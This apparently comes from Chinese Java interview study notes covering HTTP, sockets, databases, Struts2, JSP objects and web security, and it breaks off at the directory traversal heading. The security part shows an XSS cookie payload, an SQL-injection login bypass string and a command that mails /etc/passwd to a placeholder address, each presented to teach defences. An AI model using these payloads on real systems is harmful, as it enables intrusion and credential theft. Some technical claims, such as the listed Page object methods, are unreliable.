常見的請求頭分析:瀏覽器生成出來的信息,該信息想要通知服務器一些信息。 ?
Accept: */* ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?通知服務器瀏覽器可以接受的數據類型 ?
Accept-Language: en-us ? ? ? ? ? ? ? ? ? 通知服務器瀏覽器使用的語言 ?
Connection: Keep-Alive ? ? ? ? ? ? ? ? ? 通知服務器在特定時間內保持連接 ?
Host: localhost ? ? ? ? ? ? ? ? ? ? ?通知服務器瀏覽器使用的主機 ?
Referer: http://localhost/links.asp ? ? ? ? ?通知服務器該請求來自于哪一個頁面 ?
User-Agent: Mozilla/4.0 ? ? ? ? ? ? ? ? ?通知服務器瀏覽器的版本 ?
Accept-Encoding: gzip, deflate ? ? ? ? ? 通知服務器瀏覽器可以接受的編碼格式 ?
??
響應分析 ?
瀏覽器給服務器發送了一個消息,那么服務器一定會給瀏覽器返回一個響應消息。 ?
HTTP/1.1 200 OK ? ? ? ? ? ? ? ? ? ? ?響應行 ?
Server: Apache-Coyote/1.1 ? ? ? ? ? ? ? ?響應頭 ?
Accept-Ranges: bytes ?
ETag: W/"272-1351567272000" ?
Last-Modified: Tue, 30 Oct 2012 03:21:12 GMT ?
Content-Type: text/html ?
Content-Length: 272 ?
Date: Tue, 30 Oct 2012 06:27:26 GMT ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?空白行 ?
< !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> ?
< html>….</html> ? ? ? ? ? ? ? ? ? ? ?響應體 ?
HTTP/1.1 ? ? ? ? 200 ? ? ? ? ? ? ?OK ? ? ? ?響應行 ?
響應的協議版本 ? 響應的狀態碼 ? ?對響應碼的具體描述 ?
常見的響應碼: ?
200 ? 響應成功 ?
302 ? 繼續細化您的請求 ?
404 ? 請求資源無法找到 ?
500 ? 服務器錯誤 ?
Location: http://www.it315.org/index.jsp ? ? 通知瀏覽器需要細化的請求地址 ?
Server:apache tomcat ? ? ? ? ? ? ? ? ? ? 通知瀏覽器服務器使用的服務器型號 ?
Content-Encoding: gzip ? ? ? ? ? ? ? 通知瀏覽器服務器發送的數據類型 ?
Content-Length: 80 ? ? ? ? ? ? ? ? ? 通知瀏覽器壓縮數據的大小 ?
Content-Language: zh-cn ? ? ? ? ? ? ? ? ?通知瀏覽器服務器發送數據的語言 ?
Content-Type: text/html; charset=GB2312 ? ? ?通知瀏覽器服務器發送數據的內容類型、編碼 ?
Last-Modified: Tue, 11 Jul 2000 18:23:51 GMT ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?通知瀏覽器請求的資源最后一個修改的時間 ?
Refresh: 1;url=http://www.it315.org ? ? ?通知瀏覽器定時刷新 ?
Content-Disposition: attachment; filename=aaa.zip ?通知瀏覽器內容的處理方式(下載) ?
Transfer-Encoding: chunked ? ? ? ? ? ? ? 通知瀏覽器數據以數據塊的方式逐一發送 ?
Set-Cookie:SS=Q0=5Lb_nQ; path=/search ? ?通知瀏覽器需要存儲Cookie數據 ?
Expires: -1 ? ? ? ? ? ? ? ? ? ? ? ? ?通知瀏覽器不要緩存當前的頁面 ?
Cache-Control: no-cache ? ?
Pragma: no-cache ? ??
Connection: close/Keep-Alive ? ? ? ? ? ? 通知瀏覽器保持或關閉連接 ?
Date: Tue, 11 Jul 2000 18:23:51 GMT ? ? ?通知瀏覽器服務器處理請求的時間 ?
??
問題7、說說你對TCP和UDP協議的了解? ?
??
TCP ?
Transmission Control Protocol (傳輸控制協議) ?
特點: ?
面向連接、可靠、效率稍低 ?
通過三次握手,建立連接,形成傳輸數據的通道。在連接中進行大數據量傳輸 ?
例如: ?
? ? 因為TCP協議能夠發現丟失的傳輸數據并重新發送,所以適合文件傳輸,接收郵件 ?
??
??
UDP ?
User Datagram Protocol (用戶數據報協議) ?
特點: ?
無連接、不可靠、速度快 ?
將數據及源和目的封裝成數據包中,不需要建立連接。每個數據報的大小在限制在64k內 ?
例如: ?
? ? UDP協議不能保證傳輸沒有丟失 ?
視頻通話,即時通信,IP電話 (VoIP)電話 ?
??
??
UDP需要學習使用的類: ?
DatagramSocket ?
DatagramPacket ?
需要建立發送端,接收端。 ?
建立數據包。將數據存儲在數據包中. ?
調用Socket的發送接收方法。 ?
關閉Socket。 ?
發送端與接收端是兩個獨立的運行程序。 ?
??
UDP發送: ?
第一步:創建Socket ?
? ? 需要創建Socket, 發送端不需要指定ip地址和端口, 使用本機地址發送, 會自動找到未使用的端口。 ?
需要使用DatagramSocket此類表示用來發送和接收數據報包的套接字。 ?
java.lang.Object ?
? java.net.DatagramSocket ?
可以通過構造函數創建該Socket對象 ?
DatagramSocket socket = new DatagramSocket(); ?
第二步:創建數據包 ?
? ? 發送時需要創建數據包如何創建數據包?使用DatagramPacket ?
java.lang.Object ?
? java.net.DatagramPacket ? ?此類表示數據報包。 ??
創建數據包時需要通過構造函數指定發送的數據(字節數組),數據長度(數組長度),接受方的IP地址(InteAddress類),接受方端口號(port)。 ?
構造函數: ?
DatagramPacket(byte[] buf, int length, InetAddress address, int port) ??
? ? ? ? ? 構造數據報包,用來將長度為 length 的包發送到指定主機上的指定端口號。 ?
第三步:發送數據 ?
有了Socket 有了數據,如何發送數據包?使用Socket的send方法將數據包發送出去 ?
?void ?send(DatagramPacket p) ??
? ? ? ? ? 從此套接字發送數據報包。 ?
??
第四步:關閉Socket ?
使用Socket的close方法關閉。 ?
void close() ??
? ? ? ? ? 關閉此數據報套接字。 ?
注意: 在發送端,要在數據包對象中明確目的地IP及端口。 ?
??
UDP接收 ?
第一步:需要創建Socket, ?
接收時必須指定端口號. ?
DatagramSocket socket = new DatagramSocket(8888); ?
第二步:創建數據包, ?
接收時也需要創建數據包, 用來存儲數據. 需要一個字節數組. ?
DatagramPacket packet = new DatagramPacket(new byte[1024], 1024); ?
接收數據 ?
第三步:接收數據 ?
使用DatagramSocket 的receive方法接收數據.該方法需要指定數據包. ?
socket.receive(packet); ?
第四步: 從數據包中獲取數據 ?
byte[] data = packet.getData(); ?
第五步:獲取數據長度 ?
int len = packet.getLength(); ?
第六步:獲取發送端ip地址 ?
packet.getInetAddress().getHostAddress(); ?
第七步:獲取發送端端口號 ?
packet.getPort(); ?
第八步:關閉socket ?
socket.close(); ?
注意: 在接收端,要指定監聽的端口。 ?
??
TCP客戶端 ?
第一步:創建客戶端Socket ?
需要指定連接到服務器的地址和端口號, 并嘗試連接 ?
客戶端需要明確服務器的ip地址以及端口,這樣才可以去試著建立連接,如果連接失敗,會出現異常。 ?
Socket socket = new Socket("192.168.1.220", 8888); ?
第二步:連接成功獲取輸入輸出流 ?
連接成功,說明客戶端與服務端建立了通道,那么通過IO流就可以進行數據的傳輸,而Socket對象已經提供了輸入流和輸出流對象,通getInputStream(),getOutputStream()獲取即可。 ?
socket.getInputStream(); ?
socket.getOuputStream(); ?
第三步: 將數據寫出到服務端 ?
使用字節輸出流的write() 方法 ?
第四步:關閉socket ? ? ?
? ? ? ? 調用close方法 ?
連接成功之后獲取輸入輸出流 ?
? ? ? ? socket.getInputStream(); ?
? ? ? ? socket.getOuputStream(); ?
? ? ? ? 獲取流之后就可以通過輸入輸出流發送和讀取數據了, 客戶端的輸入流連接服務端輸出流, 客戶端輸出流連接服務端輸入流 ?
客戶端案例: ?
public class TcpClient { ?
? ? public static void main(String[] args) throws IOException, IOException { ?
? ? ? ? System.out.println("客戶端啟動..."); ?
? ? ? ? // 創建客戶端 ?
? ? ? ? Socket socket = new Socket("127.0.0.1", 50000); ?
? ? ? ? // 與服務端建立連接,獲取輸入輸出流 ?
? ? ? ? InputStream in = socket.getInputStream(); ?
? ? ? ? OutputStream out = socket.getOutputStream(); ?
? ? ? ? // 將數據寫出到服務端 ?
? ? ? ? System.out.println("客戶端發送數據..."); ?
? ? ? ? out.write("Tcp,你好我是客戶端...".getBytes()); ?
? ? ? ? // 關閉socket ?
? ? ? ? out.close(); ?
? ? } ?
} ?
??
??
TCP服務端 ?
第一步: 創建服務端 ?
ServerSocket, 需要指定端口號. 客戶端連接的就是這個端口. ?
java.lang.Object ?
? java.net.ServerSocket ?
創建ServerSocket ?
ServerSocket serverSocket = new ServierSocket(8888); ?
第二步:和客戶端建立連接 ?
通過accept方法 ?
Socket accept() ??
? ? ? ? ? 偵聽并接受到此套接字的連接。 ?
該方法會偵聽是否有客戶端連接,如果有建立連接,并獲取客戶端的Socket ?
也就是說服務端創建之后可以獲取客戶端連接, 返回一個Socket對象, 這個Socket就是和客戶端連接的Socket ?
Socket socket = serverSocket.accept(); ?
第三步: 接受客戶端的數據,獲取客戶端的數據 ?
服務端獲取這個socket的輸入輸出流, 就可以和客戶端發送接收數據了socket.getInputStream(); ?
socket.getOutputStream(); ?
第四步:獲取客戶端的ip地址和端口號 ?
使用服務端獲取的Socket 獲取ip地址和端口. ?
InetAddress getInetAddress() ??
? ? ? ? ? 返回套接字連接的地址。 ?
??
int getPort() ??
? ? ? ? ? 返回此套接字連接到的遠程端口。 ?
??
第五步:關閉客戶端和服務端 ?
在服務端中分別調用close方法. ?
??
2013年8月27日: ?
??
問題1、jQuery中AJAX發送請求的方法,get請求和post請求有什么區別? ?
??
get是從服務器獲取數據,post是向服務器發送數據 ?
get是小數據量傳輸,post是大數據量傳輸 ?
get請求的參數隊列會在是通過url地址傳輸,在url地址上就能看到傳輸的參數,post看不到 ?
get安全性低,post安全性高,但get的執行效率比post高 ?
如果是傳輸機密信息建議用post ?
如果是數據查詢建議用get ?
??
問題2、Mysql和Oracle數據庫的區別? ?
??
Oracle是付費的,安全性能更高,一般銀行系統這種安全性要求很高的系統都是用Oracle ?
Oracle對權限的管理非常細致,做的非常好,大概有159種權限,Mysql只有27種 ?
主鍵,Oracle不可以實現自增,Mysql可以實現自增,Oracle需要新建序列實現,SEQ_USER_Id.nextval ?
Oracle的分頁方法和Mysql的分頁方法比起來非常麻煩,Oracle需要用到個子查詢,Mysql用一個limit方法搞定,而且分頁時,Mysql的游標從0開始,Oracle從1開始 ?
Mysql屬于中型數據庫,Oracle屬于大型數據庫,但并不是說Mysql不能支撐大型應用,而是從功能上來看,Oracle擁有更豐富和完善的功能,不過一般我們也是使用他的一部分常用功能,而這一部分功能Mysql也是具備的 ?
在程序員的角度上來說,Mysql比Oracle更加簡單一些 ?
在細節的使用上來說Mysql在字符串上可以用單引號也可以用雙引號,Oracle則必須使用單引號 ?
??
問題3、簡述Struts2框架? ?
??
Struts2是基于JSP和Servlet的一個開源web應用框架,使用MVC設計模式,結構清晰,使程序員可以只關注業務邏輯,還具有豐富的標簽庫可以使用。 ?
?
Struts2工作流程: ?
客戶端發送請求 ?
根據web.xml,請求被FileDispatcher接收 ?
根據struts.xml的配置,找到需要調用的Action類,通過IOC方式將值注入給Action,Action調用業務邏輯組件處理業務邏輯。如果有配置攔截器,這一步還包含了攔截器 ?
Action執行完畢,根據struts.xml中的配置找到對應的Result,并跳轉到相應頁面 ?
響應到客戶端瀏覽器 ?
??
問題4、簡述AOP用什么技術實現的? ?
??
動態代理技術實現的,如果用JDK實現動態代理,需要利用Proxy類和InvocationHandler接口 ?
??
問題5、IOC和new有什么區別? ?
??
IOC即是控制反轉也叫依賴注入,他是通過IOC容器來生成對象,控制對象的生命周期,同時IOC把零散的部件組成了一個整體,從而達到疏散耦合的效果,我們可以利用Spring的配置,來讓IOC決定給我們注入的是一個已有對象,還是新建一個對象。 ?
而new是每次拿到的都是一個新的對象,同時也不便于管理。 ?
??
問題6、什么是綁定變量? ?
??
變量綁定就是使用PreparedStatment對SQL語句進行一個預編譯,其中有一些我們需要為其指定的參數,我們會在稍后為數據庫指定這些參數的值,綁定變量的好處可以防止SQL注入,避免sql語句的硬解析。 ?
查詢通常只是因為改變WHERE子句中的內容而產生不同的結果。為了在這種情況下避免硬解析,需要使用綁定變量(bind variable)。它是用戶放入查詢中的占位符,它會告訴Oracle"我會隨后為這個變量提供一個值,現在需要生成一個方案,但我實際執行語句的時候,我會為您提供應該使用的實際值"。 ?
例如: ?
select * from emp where ename='KING'; ? //不使用綁定變量 ??
select * from emp where ename=:bv; ? ? ?//使用綁定變量 ?
??
問題7、delete、truncate、drop的異同? ?
??
相同點: ?
truncate和不帶where子句的delete, 以及drop都會刪除表內的數據 ?
drop,truncate都是DDL(數據定義語言)語句,執行后會自動提交 ?
??
不同點: ?
truncate和 delete只刪除數據不刪除表的結構(定義) ??
drop語句將刪除表的結構被依賴的約束(constrain),觸發器(trigger),索引(index); ?
依賴于該表的存儲過程/函數將保留,但是變為invalid無效狀態 ?
??
delete語句是DML,這個操作會放到rollback segement回滾段中,事務提交之后才生效;如果有相應的trigger,執行的時候將被觸發 ?
truncate,drop是DDL,操作立即生效,原數據不放到rollback segment中,不能回滾,操作不觸發trigger ?
??
速度,一般來說:drop > truncate > delete ?
??
delete是DML語句,不會自動提交 ?
drop,truncate都是DDL(數據定義語言)語句,執行后會自動提交 ?
??
問題8、IOC和工廠模式的區別? ?
??
使用Spring框架中IOC能得到與工廠模式同樣的效果,而且編碼更加簡潔、靈活和方便。 ?
除非重新編譯,否則無法對“產品的實現類”進行替換,必須重新編譯工廠類來達到所要求的改變,但這樣將使得原本可以取得的易用性將大大降低 ?
無法在單例和原型之間切換產品對象實例產生的模式 ?
無法透明地為不同的產品組件類提供多種不同形式的實現。這是開發者在應用工廠模式時比較頭疼的一個問題,因為工廠模式中的工廠類要求每個產品組件類都必須遵從在產品接口中定義的方法和結構特征。一個接口常常意味著一個生成工廠,當接口為多個時,將會出現許多不同的工廠類。 ?
??
2013年8月28日:萬迅電腦軟件 ?
??
問題1、JSP經Tomcat編譯后的.class文件位置? ?
??
? ? ? ? ? ? ??
??
Tomcat將JSP編譯成Servlet后的文件存放在\work\Catalina目錄下,例如jsp文件\webapps\hh\h.jsp,編譯后路徑為: ?
\work\Catalina\localhost\hh\org\apache\jsp\h_jsp.java ?
?
Servlet文件和.class文件都在同一目錄下,文件名一般會被更改,改名規則為: index.jsp會改成index_jsp.class,以此類推。 ?
??
問題2、Session默認過期時間如何修改? ?
??
程序中Session都有一個默認的過期時間,其中Tomcat中的默認時間為30分鐘,根據需要我們可以去手動設置Session的過期時間,以下是設置Session的過期時間的三個方法: ?
??
1、在Tomcatconfconf/web.xm中的<session-config>中設置: ?
? ? <session-config> ?
? ? ? ? <session-timeout>30</session-timeout> ?
? ? </session-config> ?
2、在項目的web.xml中定義: ?
? ? <session-config> ?
? ? ? ? <session-timeout>20</session-timeout> ?
? ? </session-config> ?
注:20則設置過期時間為20分鐘 ?
3.在程序中定義: ?
session.setMaxInactiveInterval(30*60); ?
??
問題3、請講述有四種會話跟蹤技術? ?
??
隱藏表單域、URL重寫、Cookie、Session ?
??
隱藏表單域: ?
將會話ID添加到HTML表單元素中提交到服務器,此表單元素并不在客戶端顯示<input hidden> ?
URL 重寫: ?
URL(統一資源定位符)是Web上特定頁面的地址,URL重寫的技術就是在URL結尾添加一個附加數據以標識該會話,把會話ID通過URL的信息傳遞過去,以便在服務器端進行識別不同的用戶 ?
Cookie: ?
Cookie是Web服務器發送給客戶端的一小段信息,客戶端請求時可以讀取該信息發送到服務器端,進而進行用戶的識別。對于客戶端的每次請求,服務器都會將Cookie發送到客戶端,在客戶端可以進行保存,以便下次使用 ?
客戶端可以采用兩種方式來保存這個Cookie對象,一種方式是 保存在客戶端內存中,稱為臨時Cookie,瀏覽器關閉后 這個Cookie對象將消失。另外一種方式是保存在客戶機的磁盤上,稱為永久Cookie。以后客戶端只要訪問該網站,就會將這個Cookie再次發送到服務器上,前提是這個Cookie在有效期內。這樣就實現了對客戶的跟蹤 ?
Cookie是可以被禁止的 ?
Session: ?
使用setAttribute(String str,Object obj)方法將對象捆綁到一個會話(在會話中可以保存任意類型的對象,但因為會話可能被序列化,最好讓會話對象實現 java.io.Serializable接口 ?
使用getArrtibute(String str)方法從一個會話中檢索對象 ?
使用removeAttribute(String str)方法從一個會話中銷毀對象 ?
使用setMaxInactiveInteral()方法設置會話的有效期,默認為30分鐘(在web.xml中配置) ?
使用invalidate()方法將會話所有捆綁的對象解縛。 ?
??
問題4、如果不用Spring如何實現AOP和IOC功能? ?
??
說到底,IOC就是反射,實例化指定類;AOP就是攔截,一系列的過濾器 ?
IOC:工廠模式通過讀取配置文件創建實例結合反射使用,在配置文件里面配置要實例化的對象的全路徑 ?
??
AOP:意為面向切面的編程,可以為某一類對象進行監督和控制,也就是調用你這個對象的方法前或者方法后,去調用你指定的模塊從而達到一個對模塊擴充的功能,一般用來做權限控制和日志記錄等等,不用AOP的話,Struts2的攔截器也可以實現,不用Struts2,也可以直接用過濾器 ?
??
補充: ?
AOP(Aspect-Oriented Programming,面向切面的編程),它是可以通過預編譯方式和運行期動態代理實現在不修改源代碼的情況下給程序動態統一添加功能的一種技術。它是一種新的方法論,它是對傳統OOP編程的一種補充。 ?
??
IoC,(Inverse of Control)控制反轉,其包含兩個內容:其一是控制,其二是反轉。在程序中,被調用類的選擇控制權從調用它的類中移除,轉交給第三方裁決,它是一種設計模式,通過Java反射技術實現。 ?
??
??
問題5、寫出你所知道JSP內置對象的方法? ?
??
Request對象: ?
客戶端的請求信息被封裝在Request對象中,通過它才能了解到客戶的需求,然后做出響應。它是HttpServletRequest類的實例 ?
??
getSession 獲取當前的會話 ?
setAttribute(String key,Object obj) 將一個對象綁定到request中指定的name屬性 ?
getAttribute(String name) 該方法返回由name指定的屬性值,如果指定的屬性值不存在,則返回null ?
getParameter(String name) ??
該方法用于獲得客戶端傳送給服務器端的參數,該參數有name指定,通常是表單中的參數 ?
setCharacterEncoding(String type)重載正文中使用的字符編碼 ?
注:在用request.getParameter()獲取中文數據前,要先用request.setCharacterEncoding("utf-8");設定字符編碼,如果不設定則有可能出現亂碼! ?
??
Response對象 ??
Response對象包含了響應客戶請求的有關信息,但在JSP中很少直接用到它。它是HttpServletResponse類的實例 ?
??
addCookie(Cookie cook) 添加一個Cookie對象,用來保存客戶端的用戶信息 ?
sendRedirect(java.lang.String location) 重新定向客戶端的請求 ?
addHeader(String name,String value) 添加Http響應頭信息 ?
該Header信息將傳達到客戶端,如果已經存在同名的則會覆蓋 ?
setHeader(String name,String value) 設置指定名字的Http響應頭的值,若存在則會覆蓋 ?
??
Session對象 ??
Session對象指的是客戶端與服務器的一次會話,從客戶連到服務器的一個WebApplication開始,直到客戶端與服務器斷開連接為止。它是HttpSession類的實例 ?
??
String getId() 返回Session創建時JSP引擎為它設的唯一ID號 ?
invalidate() 取消Session,使Session不可用,銷毀Session ?
setMaxInactiveInterval() 設置Session的失效時間,單位是ms毫秒,1秒=1000毫秒 ?
getAttribute(String name) 返回與指定名稱相聯系的屬性 ?
setAttribute(String name, Object ob) 將一個對象綁定到會話中指定的name屬性 ?
removeAttribute(String name) 刪除綁定到對話中指定名稱的對象 ?
??
Out對象 ?
Out對象是JspWriter類的實例,是向客戶端輸出內容常用的對象 ?
??
這個對象最常用的方法只有兩個:out.print("...") out.println("...") ?
用途都是向客戶端發送信息,即,在瀏覽器中顯示信息。很多時候動態生成網頁都由該語句實現,如: ?
out.println("<table><tr><td>動態生成</td></tr></table>"); ?
??
clear() 清除緩沖區里的數據,但不會把數據輸出到客戶端 ?
clearBuffer() 清除緩沖區里的數據,并把數據輸出到客戶端 ?
close() 關閉輸出流 ?
flush() 輸出緩沖區里的數據 ?
newLine() 換行,相當于\n ?
??
Page對象 ?
Page對象就是指向當前JSP頁面本身,有點象類中的this指針,它是java.lang.Object類的實例 ?
??
getClass 返回此Object的類 ??
hashCode() 返回此Object的hash碼 ??
equals(Object obj) 判斷此Object是否與指定的Object對象相等 ??
copy(Object obj) 把此Object拷貝到指定的Object對象中 ??
clone() 克隆此Object對象 ??
toString() 把此Object對象轉換成String類的對象 ??
notify() 喚醒一個等待的線程 ??
notifyAll() 喚醒所有等待的線程 ??
wait(int timeout) 使一個線程處于等待直到timeout結束或被喚醒 ??
wait() 使一個線程處于等待直到被喚醒 ??
enterMonitor() 對Object加鎖 ??
exitMonitor() 對Object開鎖 ??
??
Application對象 ??
Application對象實現了用戶間數據的共享,可存放全局變量。它開始于服務器的啟動,直到服務器的關閉,在此期間,此對象將一直存在;這樣在用戶的前后連接或不同用戶之間的連接中,可以對此對象的同一屬性進行操作;在任何地方對此對象屬性的操作,都將影響到其他用戶對此的訪問。服務器的啟動和關閉決定了Application對象的生命。它是ServletContext類的實例 ?
??
getAttribute(String name) 返回給定名的屬性值 ?
setAttribute(String name,Object obj) 設定屬性的屬性值 ?
removeAttribute(String name) 刪除一屬性及其屬性值 ?
getResource(String path) 返回指定資源(文件及目錄)的URL路徑 ?
getResourceAsStream(String path) 返回指定資源的輸入流 ?
getRequestDispatcher(String uripath) 返回指定資源的RequestDispatcher對象 ?
??
Exception對象 ?
Exception對象是一個例外對象,當一個頁面在運行過程中發生了例外,就產生這個對象。如果一個JSP頁面要應用此對象,就必須把isErrorPage設為true,否則無法編譯。他實際上是java.lang.Throwable的對象 ??
??
getMessage() 返回描述異常的消息 ?
toString() 返回關于異常的簡短描述消息 ?
printStackTrace() 顯示異常及其棧軌跡 ?
??
PageContext對象 ??
PageContext對象提供了對JSP頁面內所有的對象及名字空間的訪問,也就是說他可以訪問到本頁所在的SESSION,也可以取本頁面所在的Application的某一屬性值,他相當于頁面中所有功能的集大成者,它的本類名也叫PageContext ?
??
getOut() 返回當前客戶端響應被使用的JspWriter流(out) ??
getSession() 返回當前頁中的HttpSession對象(session) ??
getPage() 返回當前頁的Object對象(page) ??
getRequest() 返回當前頁的ServletRequest對象(request) ??
getResponse() 返回當前頁的ServletResponse對象(response) ??
getException() 返回當前頁的Exception對象(exception) ??
getServletConfig() 返回當前頁的ServletConfig對象(config) ??
getServletContext() 返回當前頁的ServletContext對象(application) ??
??
setAttribute(String name,Object attribute) 設置屬性及屬性值 ??
setAttribute(String name,Object obj,int scope) 在指定范圍內設置屬性及屬性值 ??
Object getAttribute(String name) 取屬性的值 ??
getAttribute(String name,int scope) 在指定范圍內取屬性的值 ??
Object findAttribute(String name) 尋找一屬性,返回起屬性值或NULL ??
removeAttribute(String name) 刪除某屬性 ??
removeAttribute(String name,int scope) 在指定范圍刪除某屬性 ??
??
forward(String relativeUrlPath) 轉發 ??
include(String relativeUrlPath) 在當前位置包含另一文件 ??
??
Config對象 ?
Config對象是在一個Servlet初始化時,JSP引擎向它傳遞信息用的,此信息包括Servlet初始化時所要用到的參數(通過屬性名和屬性值構成)以及服務器的有關信息(通過傳遞一個ServletContext對象) ?
??
getServletContext() 返回含有服務器相關信息的ServletContext對象 ??
getInitParameter(String name) 返回初始化參數的值 ??
getInitParameterNames() 返回Servlet初始化所需所有參數的枚舉 ?
??
問題6、Java啟動參數Xms和Xmx的含義? ?
??
參數名 含義 ? ? ? ? ? ? ?默認值 ?
Xms ? ? 初始堆大小 ? ? ? ? ? 物理內存的1/64(<1GB) ?
Xmx ? ? 最大堆大小 ? ? ? ? ? 物理內存的1/4(<1GB) ?
Xmn ? ? 年輕代大小 ? ? ? ? ? ??
Xss ? ? 每個線程的堆棧大小 ?
??
問題7、對于Web應用安全的理解?以下是大分類,采用問題7-1、問題7-2開頭,以此類推,為系列問題。 ?
問題7-1、 ?跨站腳本攻擊(CSS or XSS, Cross Site Scripting)——注入 ?
??
相信絕大多數人對跨站腳本弱點已經早有耳聞。2006年全球網絡安全弱點Top10排名當中,它榮登榜首!為什么它有如此之大的影響力呢?個人覺得原因有三: ?
1、攻擊難度小,不管是技術還是實現攻擊的成本上都比較容易 ?
2、它存在的載體(瀏覽器)使用極其廣泛 ?
3、它所依賴的技術被廣泛的應用與支持(JavaScript,VB Script, HTML,ActiveX, Flash) ?
??
說了這么多,它到底是什么呢? ?
??
XSS是一種存在Web應用中,允許黑客以最終用戶的身份向Web應用注入惡意腳本,以愚弄其他用戶或獲取其他用戶重要數據和隱私信息為目的的一種攻擊形式。 ?
??
XSS可使用的技術有JavaScript、VBScript、 ActiveX、 或 Flash, 且通常通過頁面表單提交注入到web應用中并最終在用戶的瀏覽器客戶端執行。例如,一個沒有經過安全設計并實現的論壇,當你在跟貼時在正文輸入這樣的代碼: ?
< script>alert(document.cookie);</script> ?
??
當其它用戶瀏覽時便會彈出一個警告框,內容顯示的是瀏覽者當前的cookie串。 ?
??
試想如果我們注入的不是以上這個簡單的測試代碼,而是一段經常精心設計的惡意腳本,當用戶瀏覽此帖時,cookie信息就可能成功的被攻擊者獲取。此時瀏覽者的帳號就很容易被攻擊者掌控了。 ?
??
不管是上述的哪一種技術實現的XSS攻擊,最終都離不開這三點: ?
1、是瀏覽器的解析 ? 2、是腳本語法 3、是腳本需要一定的長度 ?
??
對于瀏覽器的解析是不在話下了,我不能因為這各類型問題的存在就改寫瀏覽器使其不支持腳本解析。 ?
??
所以,能做就是控制腳本注入的語法要素。比如:JavaScript離不開:< 、 > 、 ( 、 ) 、;...等等,所以我們只需要在輸入或輸出時對其進行字符過濾或轉義處理就可以了。一般我們會采用轉義的方式來處理,轉義字符是會使用到HTML的原始碼,因為原始碼是可以被瀏覽器直接識別的,所以使用起來非常方便。 ?
??
允許可輸入的字符串長度限制也可以一定程度上控制腳本注入。比如:頁面表單中姓名,我可以只允許你輸入5個字符,請問你還有辦法進行JavaScript的腳本注入嗎?顯然不行了。 ?
??
還需要您注意的是:我這里所述的過濾、檢測、限制等等策略,一定一定要在Web Server服務器那一端去完成,而不是使用客戶端的JavaScript或者VBScript...去做簡單的檢查。因為真正的攻擊者不會僅僅依賴于瀏覽器去做攻擊,而更多的往往是借助于第三方工具,根本就可以繞過你精心設計制作的客戶端JavaScript進行過濾、檢測或限制手段的。 ?
??
問題7-2、SQL注入攻擊(SQL injection)——注入 ?
??
早在十幾年前,基于數據庫的Web應用剛剛盛行的時候,幾乎所有的開發商都忽略了SQL注入弱點,導致當時絕大多數的網站的登錄入口形同虛設!為什么呢?先給一個小小的例子,假如以下SQL代碼是用來在網站登錄入口入執行用戶驗證時的查詢代碼: ?
?
SELECT count(*) ?
FROM users_list_table ?
WHERE username='USERNAME' ?
AND password='PASSWORD' ?
??
以上的USERNAME就是我們登錄時提供的用戶名,PASSWORD就是我們登錄時提供的密碼。當用戶輸入正確的用戶名和密碼時,這條語句的執行結果將為真(True),否則為假(False),當然為真時我們就認為認證通過,為假時就認為認證失敗,即非法登錄。試想一下,如果我在輸入用戶名和密碼的時候輸入如下的內容: ?
?
用戶名:a' or 'a'='a ?
密碼:a' or 'a'='a ?
??
用代入法把用戶名和密碼輸入值代入到上述的SQL腳本里結果如下: ?
??
SELECT count(*) ?
FROM users ?
WHERE username='a' or 'a'='a' ?
AND password='a' or 'a'='a' ?
??
相信稍懂一點兒SQL語句的人都知道,這條語句的執行結果就永遠是真了!此時你不需要有帳號,就直接登錄成功了!你對此漏洞理解的深度同樣取決于你的對SQL語句的技能和Web安全知識能力。一個具有良好技能的攻擊者可能利用此漏洞獲取后臺DB的結構并逐步獲取DB的信息。 ?
??
總結一下:SQL注入弱點是存在基于數據庫的Web應用中,黑客利用精心組織的SQL語句,通過Web接口(通常指我們的Web頁面的表單)注入的Web應用中,從而獲取后臺DB的訪問與存取權的一種安全弱點。 ?
??
簡要的解決方案: ?
剛剛介紹了XSS,在這里關于SQLInjection我想就無需多說了,都是過濾、合法性檢查和長度限制等通用方法。 ?
有沒有注意到,XSS和SQL Injection,雖然名字不一樣,但它們似乎都屬于我前一篇文章《解讀Web安全性問題的本質》中的第一部分,即輸入/輸出驗證。下面將要介紹的遠程命令執行、目錄遍歷和文件包含同樣也是輸入/輸出驗證問題。 ?
??
問題7-3、遠程命令執行(Code execution,個人覺得譯成代碼執行并不確切) ?
??
先不解釋它的概念,我們先假設這樣一個用戶使用場景: ?
??
有一個站點的管理入口功能非常強大,大到什么程度呢?可以重啟Web服務器。 ?
??
你能想出來它是如何實現的嗎?我們知道不管是PHP還是JSP,我們都可以在服務器通過Shell調用系統(Linux or Windows)命令,等命令執行后,將執行結果返回給客戶端。其實我們通過Web Page的管理入口管理服務器端的各種服務就是通過類似這種渠道完成的。 ?
??
這里會有什么問題?比如我們要重啟apache,假如系統是通過這個命令來完成的: ?
??
/$path/./apche -restart ?
??
這里的$path是Web應用程序的基準路徑(比如:apache上的documentroot),它的實現方式是這樣的:通過用戶瀏覽器客戶端傳送一個命令串給Web Server,Web Server通過調用shell來執行傳過來的命令。 ?
??
試想,如果我通過瀏覽器客戶端強行傳送一個:restart, shutdown之類的命令給Server,結果會是什么樣子? ?
??
這只是起一個小小的破壞作用,那如果我傳送一個:mail abc@abc.abc </etc/passwd,執行結果是什么? ?
??
結果是將linux系統的passwd文件(linux系統用戶信息)發送到指定的郵箱abc@abc.abc。是不是很可怕呢? ?
??
這就是遠程命令執行漏洞的一個小小的典型例子。 ?
??
至于它的更深遠的安全隱患在哪里還需要你有更多的相關基礎知識才能夠得以深入理解和運用(比如:Web server OS, Web Service-apache/weblogic/tomcat...相關的使用技能)。 ?
??
總結一下:遠程命令執行漏洞一般發生在Web系統允許用戶通過Web應用接口訪問與管理Web服務器且沒有經過嚴格的輸入驗證與過濾的情況下的一種Web應用安全漏洞。 ?
??
簡要的解決方案: ?
嚴格限制運行Web服務的用戶權限。 ?
??
就是說你的Web應用可以訪問你的服務器系統的用戶權限。一般情況一下,我們應該以白名單的形式介定Web應用可以訪問服務器系統的權限。這樣控制可以從系統級達到安全防范的效果。 ?
??
嚴格執行用戶輸入的合法性檢查。 ?
??
這里的輸入不一定是你通過表單從鍵盤輸入,往往是Web應用已經內定了某一些操作供您選擇,而此時你可以通過Http抓包的方式獲取Http請求信息包經改裝后重新發送。 ?
??
問題7-4、目錄遍歷(Directory traversal) ?
??
